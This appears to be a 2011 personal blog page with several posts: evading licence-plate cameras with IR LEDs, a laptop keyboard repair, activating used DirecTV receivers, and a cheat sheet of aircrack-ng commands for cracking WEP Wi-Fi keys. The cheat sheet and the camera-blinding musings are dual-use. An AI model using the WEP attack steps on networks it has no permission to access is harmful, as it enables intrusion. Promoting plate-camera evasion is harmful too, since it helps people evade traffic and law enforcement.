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Sunday, November 20, 2011

Some more news on IR LED photo blocking

Saw an article in the Washington Post today that DC is using 38+ cameras around the region to read license plates.  They are building a database to be able to track the movements of cars around the region.  While this is great for catching stolen cars, it apparently caught a cheating wife who the husband had reported missing.

This seemed like a perfect application for my IR LED speed camera blocker frame, because the article says that this technology uses and IR camera to read the plate.

I looked a little more and found a wikipedia on the subject no less.  I guess my idea is pretty common at this point :-(.    Plus it  looks like Texas even has a law against this sort of thing.  Be careful out there.

This is from Wikipedia

Circumvention techniquesVehicle owners have used a variety of techniques in an attempt to evade ANPR systems and road-rule enforcement cameras in general. One method increases the reflective properties of the lettering and makes it more likely that the system will be unable to locate the plate or produce a high enough level of contrast to be able to read it. This is typically done by using a plate cover or a spray, though claims regarding the effectiveness of the latter are disputed. In most jurisdictions, the covers are illegal and covered under existing laws, while in most countries there is no law to disallow the use of the sprays.[14] Other users have attempted to smear their license plate with dirt or utilize covers to mask the plate.
Novelty frames around Texas license plates were made illegal in Texas on 1 September 2003 by Texas Senate Bill 439 because they caused problems with ANPR devices. That law made it a Class C misdemeanor (punishable by a fine of up to US $200), or Class B (punishable by a fine of up to US $2,000 and 180 days in jail) if it can be proven that the owner did it to deliberately obscure their plates.[15] The law was later clarified in 2007 to allow Novelty frames.
If an ANPR system cannot read the plate it can flag the image for attention, with the human operators looking to see if they are able to identify the alphanumerics.
In order to avoid surveillance or penalty charges, there has been an upsurge in car cloning. This is usually achieved by copying registration plates from another car of a similar model and age. This can be difficult to detect, especially as cloners may change the registration plates and travel behavior to hinder investigations.
Other possible options include IR emitting LEDs around the license plate which would serve to "blind" cameras.

Replacing a keyboard in an Acer 5741 laptop, liquid spill

We have an Acer Aspire 5741G-6983 laptop that I paid over $600 for 1.5 years ago.  It is a pretty good laptop with i5 processor and stand alone graphics.  My son spilled milk on the keyboard and several of the keys stopped working.   Nothing else is wrong, still works perfectly if you don't use words with those letters.  The laptop seems to be designed to contain liquids in the keyboard.   Applying alcohol didn't help.  I tried heating the laptop with a hair dryer and only succeeded in melting a key.   I used burn-in software to heat it up from the inside and let it bake for hours.  Nada.

I've been happy with Acer laptops, they offer a lot of performance for the money, and have held up to fairly rough usage by teenagers.  I'm not willing to trash this laptop yet.

I found a replacement keyboard on line and stupidly bought it without fully searching Amazon first.  Google shopping indicated that Amazon would be $65.  So when I found one for $25 + $10 shipping I pounced:

Later on I was searching for some instructions, since it is not obvious how to pry open the laptop, and found it on Amazon for $20, free shipping.  Doh!  $15 wasted.

Before doing any research, I charged in trying to take it apart, removed all the screws from the bottom, under the covers, etc.  The keyboard is NOT coming out.   OK time to do some web surfing.

Making note of some links to places with some instructions.  

This site is pretty vague:

These don't seem to describe the right laptop

Found a service manual for this model...sweet!

This page from the manual says it all!

There are little "locks" along the top edge of the keyboard, and I didn't have to take the back off at all.  The keyboard is supposed to lift out, however it took some picking and prying to figure out that the whole black area comes up once the six or so tiny spring clips are pushed in.  Had to stick a thin screwdriver under the top edge of the keyboard to pry it up.   One ribbon connector and it's loose.  The black plastic strip along the ribbon connector needs to be pushed towards the ribbon and the ribbon comes right out.

Here is the laptop with the keyboard removed, and otherwise working just fine.  In closeup you can see all the milk residue even under the keyboard.  So i guess the keyboard has holes.

I feel really stupid right now.  Once you know how, the keyboard on these Acer laptops is very easy to replace.  I opened up the back, pried and pulled and worked it and had decided it couldn't be done.  If  I had done my research, i wouldn't have risked opening the back of laptop at all, since the keyboard pops of the front without hardly taking anything apart.

Now I wait for the new keyboard to come in the mail and see if I'm in business.  Hopefully all my needless dis-assembly didn't ruin anything.

New keyboard is here!

PUshed the ribbon cable into the connector and pushed the black clamp strip back up to hold it.  Snapped down the new keyboard.  And powered up.

W000T!  double w00t.   The laptop is as good as new.  The keyboard is clean and new and works perfectly.  Here it is working and with words i typed on the screen as proof.

Saturday, November 19, 2011

Buying Used DirecTV receivers from eBay

If you have Directv service, and don't mind standard definition, life is good for you too.
Recently I added a TV for a teenager,  and thought I'd share the knowledge.  All you have to do is buy a used receiver (why not get a DVR) off of ebay and activate it.   If you get a receiver new from Directv or any other retailer, you don't own it you lease it and can't resell it.  There may be contract implications and additional fees too, I don't know, I stay off the grid.   Search for directvR10 or DSR708.  People are selling these cheap because they have upgraded to HDTV.  They still work great.
I paid $40 "buy it now" because I didn't want to wait and bid.    If you bid you can probably get one for $20.  I have in the past.  DVR came with a remote that is worth $20 alone.  Some people are charging more, but that doesn't mean you can't find a good deal from a good seller if you shop around.  I got this one:

 Directv TiVo DVR R10 TV Receiver w/Remote

Hook it up using a multiswitch to split your existing cables from the dish, or add another dish.   All from ebay.    I got this one for $9, free shipping.

 New Zinwell MS3X4WB-Z Directv Approved 3x4 Multiswitch

You can have at least 20 dishes and receivers if you want on one account. You can move them to your vacation home, etc.
Just call directv and tell them you bought a used receiver and want to activate it when it comes in the mail.  I don't know if there are any restrictions on using a used receiver, but I have done this at least 5 times between adding and replacing old dead units.   You used to be able to reuse the card that is in it, but no more.  Directv will make you buy a new card for $20 and will mail it to you.  Make sure they mark the receiver as owned rather than used in your account.  This should be no problem since these are so old, it wasn't for me.  They do charge $6/month for every receiver, so it isn't totally free.

WEP Hacking - Single page cheat sheet

Work has been crazy lately so no time for hobbies. This post is just a summary of the commands I learned in: that I can refer to easily from my phone when working on the road. This uses backtrack penetration testing linux loaded on a USB. Computer is rebooted from the USB into backtrack linux. startx starts the environment at the prompt.  Open terminals to execute these commands:

  • airmon-ng stop wlan0
  • airmon-ng start wlan0
    • initializes the card.  wlan0 is the card name
  • airodump-ng wlan0
    • Find networks with WEP and write down channel, bssid, essid , Hit ctrl-c to stop
  • airodump-ng -w wep -c <number> --bssid <bssid> wlan0
    • points the wireless card to the network you picked
  • aireplay-ng -1 0 -a <bssid> wlan0
    • initiates association with network. comes back association successful
  • aireplay-ng -3 -b <bssid> wlan0"  
    • Makes traffic and sniffs it.  Go back to the first terminal and watch the data column, run until data hits 30,000. 
  •  dir
    •  a file will be created *.cap that will have the wireless data captured
  • aircrack-ng wep-01.cap
    • And it will return the WEP key

Disclaimer:  This is not admission that I have ever hacked WiFI, or that you should steal WiFi bandwidth.  People who use WEP networks are human too and should be respected and not harmed in any way.   Use this only for networks you are allowed to connect to.